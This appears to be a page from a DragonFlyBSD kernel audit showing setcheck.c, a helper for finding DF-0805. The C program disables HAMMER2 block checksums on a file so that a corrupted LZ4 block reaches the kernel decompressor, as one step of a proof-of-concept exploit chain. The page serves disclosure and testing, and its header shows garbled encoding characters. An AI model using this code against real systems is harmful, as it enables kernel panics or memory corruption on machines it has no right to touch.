โฌข DragonFlyBSD Kernel Audit
DF-0805 / setcheck.c
โ† back to finding โ†“ download raw
/*
 * DF-0805 helper โ€” set the check_algo on a HAMMER2 inode via ioctl.
 *
 * Used by hammer2_trigger.sh to disable the block-check on the test
 * file (set check_algo = HAMMER2_CHECK_NONE = 0) so that a corrupted
 * on-disk LZ4 block reaches hammer2_decompress_LZ4_callback() instead
 * of being rejected up-front by hammer2_chain_testcheck() at
 * hammer2_chain.c:1071. With the check disabled, the only thing
 * standing between attacker-controlled bytes and the LZ4 call is the
 * KKASSERT at hammer2_strategy.c:199 โ€” which is a no-op on non-
 * INVARIANTS kernels. On stock GENERIC (INVARIANTS ON) the KKASSERT
 * fires and panics.
 *
 * Usage:  ./setcheck <path> <check_algo_value>
 * Example: ./setcheck /tmp/df0805_mnt/lz4_target 0
 *
 * Must be run as root (the inode-set ioctl requires privilege).
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

/* Pull the hammer2 ioctl definitions from the in-tree header. */
#include "../../../sys/vfs/hammer2/hammer2_ioctl.h"

int main(int argc, char **argv) {
    if (argc != 3) {
        fprintf(stderr, "usage: %s <path> <check_algo_value>\n", argv[0]);
        return 2;
    }
    const char *path = argv[1];
    long val = strtol(argv[2], NULL, 0);

    int fd = open(path, O_RDONLY);
    if (fd < 0) { perror("open"); return 1; }

    hammer2_ioc_inode_t ino;
    memset(&ino, 0, sizeof(ino));

    /* Get the current inode data. */
    if (ioctl(fd, HAMMER2IOC_INODE_GET, &ino) < 0) {
        perror("HAMMER2IOC_INODE_GET");
        close(fd);
        return 1;
    }

    unsigned char *meta_bytes = (unsigned char *)&ino.ip_data;
    size_t off_check_algo = 0x85;  /* hammer2_disk.h:961 */
    unsigned char old = meta_bytes[off_check_algo];
    fprintf(stderr, "[setcheck] old check_algo @ meta[%zu] = %u\n",
            off_check_algo, old);

    meta_bytes[off_check_algo] = (unsigned char)val;
    fprintf(stderr, "[setcheck] new check_algo = %u\n",
            (unsigned char)val);

    /* Set just the check_algo; tell the kernel via the flag bit. */
    ino.flags = HAMMER2IOC_INODE_FLAG_CHECK;

    if (ioctl(fd, HAMMER2IOC_INODE_SET, &ino) < 0) {
        perror("HAMMER2IOC_INODE_SET");
        close(fd);
        return 1;
    }

    fprintf(stderr, "[setcheck] OK โ€” check_algo set to %u on %s\n",
            (unsigned char)val, path);
    close(fd);
    return 0;
}